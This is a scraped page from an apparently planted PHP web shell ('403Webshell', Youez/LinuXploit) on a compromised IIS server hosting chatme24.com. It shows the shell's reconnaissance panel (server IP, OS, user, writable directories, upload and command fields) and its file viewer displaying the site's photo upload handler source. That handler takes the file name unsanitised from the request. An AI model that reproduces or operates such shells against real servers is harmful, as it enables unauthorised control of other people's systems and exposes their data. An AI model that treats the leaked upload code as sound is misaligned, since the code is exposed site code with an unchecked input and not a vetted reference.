403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/HostingSpaces/admin/chatme24.com/wwwroot/_include/current/cphotouploadhandler.class.php
<?php
class CPhotoUploadHandler extends UploadHandler {

    protected function handle_form_data($file, $index) {
        $file->file_name = @$_REQUEST['file_name'][$index];
    }

    protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
                                           $index = null, $content_range = null) {
        global $g;
        global $g_user;
        $isError = false;
		$name = get_param('file_name');// . '.jpg';

        if(Common::isOptionActive('free_site') || User::isSuperPowers() ||
            Common::getOption('upload_limit_photo_count')>DB::result("SELECT COUNT(photo_id) FROM photo WHERE user_id=" . $g_user['user_id'] . " AND visible<>'P'")){
            $file = parent::handle_file_upload(
                $uploaded_file, $name, $size, $type, $error, $index, $content_range
            );
        } else {
            $file->error = 'upload_limit ';
        }

        if (empty($file->error)) {
            $info = CProfilePhoto::photoUpload($this->get_upload_path($file->name));
            $file->id = $info['id'];
            $file->src_r = $info['src_r'];
            $file->name = get_param('file_name');
        }

        if (!guid()) {
            $file->error = 'please_login';
        }
        return $file;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit